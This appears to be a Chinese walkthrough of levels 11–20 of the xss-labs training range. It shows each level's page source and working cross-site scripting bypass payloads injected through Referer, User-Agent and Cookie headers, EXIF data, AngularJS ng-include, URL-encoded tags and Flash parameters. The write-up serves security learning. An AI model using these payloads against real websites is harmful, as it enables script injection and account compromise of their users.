xss-labs通关(2)
先前我们已经完成了前面10关,现在我们继续完成后面的10关。
目录
一、xss-labs通关(2)
1、level11
2、level12
3、level13
4、level14
5、level15
6、level16
7、level17
8、level18
9、level19
10、level20
一、xss-labs通关(2)
1、level11
直接源码分析
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和<script>alert()</script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:24</h3></body>
</html>
从源码可以看到alert 被重写了,即使你注入了 alert()
,也不会弹出系统的 alert,而是执行这里自定义的函数:弹出 confirm ("完成的不错!")跳转到 level12.php?keyword=good job!
说明直接用 alert()
可能不会达到 “弹窗证明 XSS” 的效果,除非你绕过这个重写。
下面四行字段可能是由服务器根据 HTTP 请求头或 Referer、User-Agent 等自动填充的,如果这些值直接输出到 HTML 中而没有过滤,就可能成为注入点。
t_ref
通常与 HTTP 请求头中的Referer
字段相关(Referer
记录了请求的来源页面)。Level11 的关键设计是:t_ref
的value
值会被服务器填充为请求的Referer
头内容,这是可控的输入点。常规参数(如t_sort
)可能被严格过滤(如过滤on
、type
等关键词),但Referer
头作为非 URL 参数,过滤规则可能更宽松,适合注入恶意代码。
绕过思路:利用Referer
头控制t_ref
的value
:通过修改 HTTP 请求的Referer
字段内容,使其被填充到<input name="t_ref" value="Referer内容" type="hidden">
的value
中。构造恶意Referer
内容:在Referer
中注入代码,闭合value
属性,修改type
为text
(使输入框可见),并添加事件属性(如onclick
),通过用户交互触发脚本。
通过burpsuite工具,在referer中,使用下面的语句
" type="text" onclick="alert(1)
首先拦截其页面
然后将referer修改为上述语句,放行
出现输入框,进行点击即可
2、level12
直接进行源码分析
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和<script>alert()</script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:24</h3></body>
</html>
页面包含 4 个隐藏的<input>
标签(t_link
、t_history
、t_sort
、t_ua
),其中 t_ua
的value
属性已填充浏览器的 User-Agent 信息 。这表明:t_ua
的value
值来源于 HTTP 请求头中的User-Agent
字段(记录客户端浏览器信息),是可控的输入点。
关键突破点:与 Level11 的Referer
头类似,User-Agent
头作为 HTTP 请求的一部分,其内容会被服务器直接填充到t_ua
的value
中。常规参数(如keyword
)仍被 HTML 实体编码,难以直接利用,而User-Agent
头的过滤规则通常更宽松。
绕过思路:利用User-Agent
头控制t_ua
的value
:通过修改 HTTP 请求的User-Agent
字段内容,使其被填充到<input name="t_ua" value="User-Agent内容" type="hidden">
的value
中。
构造User-Agent
内容:在User-Agent
中注入代码,闭合value
属性(用"
),修改type
为text
(使输入框从隐藏变为可见),并添加事件属性(如onclick
),通过用户交互触发脚本。
使用如下语句
" type="text" onclick="alert(1)
进行抓包修改
将user-agent修改为上面的语句,然后放行
然后点击输入框即可
3、level13
源码分析
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/html/level13.php:15) in <b>/var/www/html/level13.php</b> on line <b>16</b><br />
<h2 align=center>没有找到和<script>alert()<script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:23</h3></body>
</html>
关键突破点:Level13 的可控输入源转向Cookie。Cookie 作为 HTTP 请求的一部分,其内容会被服务器读取并填充到t_cook
的value
属性中,且通常对 Cookie 的过滤规则较宽松。过滤特征:keyword
参数仍被 HTML 实体编码(如<
→<
),直接利用困难;隐藏标签的其他参数(如t_sort
)可能被严格过滤,但Cookie
作为新输入源,是绕过的关键。
利用 Cookie 控制t_cook
的value
:通过修改客户端 Cookie 的值,使其被服务器填充到<input name="t_cook" value="Cookie内容" type="hidden">
的value
中。构造 Cookie 内容:在 Cookie 中注入代码,用"
闭合value
属性,修改type
为text
(使隐藏输入框变为可见),并添加事件属性(如onclick
),通过用户交互触发脚本。
使用如下语句
user=" type="text" onmouseover="alert(1)" x=
还是进行抓包修改,或者也可以在浏览器进行修改,F12进入开发者模式。然后在应用那里,找到cookie,删除Name,将值变成上面的语句即可,然后刷新
然后点击输入框即可
4、level14
可以看到图片信息,源码没有关键信息,然后在网上查找xss图片的相关信息,猜测是利用图片的 EXIF 数据注入 XSS 代码,并通过嵌入的 exifviewer.org
解析图片时触发脚本。
这里我描述一下详细的步骤
步骤1:修改图片的 EXIF 数据,注入 XSS Payload
EXIF 是图片的元数据(如作者、描述等),我们可以在这些字段中插入 XSS 代码。
使用工具 exiftool
修改图片:打开终端,执行命令:
exiftool -Artist='<script>alert(1)</script>' your_image.jpg
这会将图片的「作者」字段替换为 <script>alert(1)</script>
。
步骤 2:上传图片到可访问的服务器
将修改后的图片(如 xss.jpg
)上传到自己的服务器或公共图床,确保图片能通过 URL 被访问(例如:http://your-server.com/xss.jpg
)。
步骤 3:构造 exifviewer.org
的访问 URL
exifviewer.org
支持通过 URL 参数 img
指定要解析的图片。构造链接:
http://www.exifviewer.org/?img=http://your-server.com/xss.jpg
步骤 4:让 iframe 加载构造好的 URL
页面中的 <iframe>
原本加载的是 exifviewer.org
主页,需修改其 src
为上述构造的 URL(可通过浏览器开发者工具临时修改 iframe
的 src
属性,或寻找页面是否有可控参数)。
当 exifviewer.org
解析你上传的图片时,会读取并展示带 XSS 代码的 EXIF 字段,从而触发 <script>alert(1)</script>
弹窗。
由于题目中的目标网址已经挂了,无法访问我们的图片,所以这里就无法展示,但是具体的思路就是上面所述。
5、level15
直接分析源码
<html ng-app>
<head><meta charset="utf-8"><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:1.gif"></span></body>
页面引入了 AngularJS 1.2.0(<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
),并使用了ng-app
声明 Angular 应用,说明页面支持 AngularJS 的指令和表达式解析。关键:页面中有<span class="ng-include:1.gif"></span>
,其中ng-include
是 AngularJS 的核心指令,用于加载并编译外部 HTML 模板(会将指定路径的内容作为 HTML 解析执行)。这里的1.gif
是模板路径,且该路径由 URL 参数src
控制。
绕过思路:控制ng-include
的模板路径:通过 URL 的src
参数,将ng-include
要加载的模板路径替换为包含 AngularJS 表达式的内容。
我先包含服务器中的文件进行访问,发现没有访问,说明不能读取其它源的文件
那我尝试一下本源来进行访问,比如说其它关卡的php文件
可以看到第五关的页面出来了,那么我们可以构造以下语法
'/level1.php?name=<script>alert()</script>
没有反应,看看源码
<body><span class="ng-include:'/level1.php?name=<script>alert()</script>'"></span></body>
尖括号被实体化了,那么就使用其它的,比如img,构造以下语句
'level1.php?name=<img src=x onerror=alert()>'
6、level16
分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<center>< >alert()< ></center><center><img src=level16.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>
<
被替换为
(非换行空格的 HTML 实体),>
(原 Payload <script>alert()</script>
被转为 < >alert()< >
)。此外,script
关键词很可能被过滤。输出位置:输入内容直接显示在 <center>
标签内(属于 HTML 文本节点),需构造不依赖 <script>
标签且能绕过 <
/>
过滤的 Payload。无法使用 <
和 >
的明文形式,常规标签(如 <script>
、<img>
)的明文写法会被破坏,但可通过URL 编码或特殊字符分隔绕过。
绕过思路:使用 <
和 >
的URL 编码形式(<
→%3c
,>
→%3e
),若服务器仅过滤明文符号而不对 URL 编码解码后的值二次过滤,即可恢复标签结构。改用 <img>
等标签的事件属性(如 onerror
)执行脚本。利用换行符分隔属性:使用 %0a
(URL 编码的换行符)分隔标签属性,避免空格可能带来的过滤问题。
使用如下语句
%3cimg%0asrc=x%0aonerror=alert(1)%3e
7、level17
分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=<script>alert()</script> width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
<script>alert()</script>
被处理为 <script>alert()</script>
,说明 <
和 >
被 HTML 实体编码(过滤明文标签),但对事件属性(如onmouseover
)未过滤。
<embed>
标签特性:embed
用于嵌入多媒体内容(如 SWF),支持 HTML 事件属性(如onmouseover
、onclick
),当用户与该元素交互时(如鼠标悬停),会触发事件中的脚本。
绕过技巧:无需使用<script>
标签,改用embed
标签支持的事件属性(如onmouseover
)执行脚本,避开对<
/>
的过滤。
构造语句如下,在01处修改为下面的语句,然后鼠标进行移动悬停即可触发
%20onmouseover=alert(1)
8、level18
在17关我们是使用01进行传参,那么这里猜测使用02进行传参,语句还是和上面一样
9、level19
还是一样的url,难不成是同时传参
不是,网上查找关键词,发现是flash xss,那么使用javascript:confirm(1)尝试一下
没有用呢,看看大佬的wp吧XSS-labs Level 19 Flash XSS_xsslabs 19-CSDN博客,这里没有东西出现是因为缺少flash,我使用的是edge,启用IE模式即可显示出内容
原理大家可以去看看这篇文章,大佬的payload如下
arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>
真的,环境都配置了许久
10、level20
按照上一关的难度来看,嗯,应该又要反编译的了,参考大佬wp吧XSS LABS - Level 20 过关思路_xss-labs第20关-CSDN博客
要IE模式,大佬的payload如下所示
?arg01=id&arg02=id\"));} catch (e) {alert(1);}//%26width=123%26height=123
环境有点小问题啊,正常是可以弹窗的,因为flash用的不多,所以我就没有使用flash浏览器了,用flash浏览器就可以正常使用了。
就最后两关难度有点大,需要进行反编译,其它的难度都可以,xss-labs复习之旅到这里就结束了。下一个应该是SSRF-labs靶场。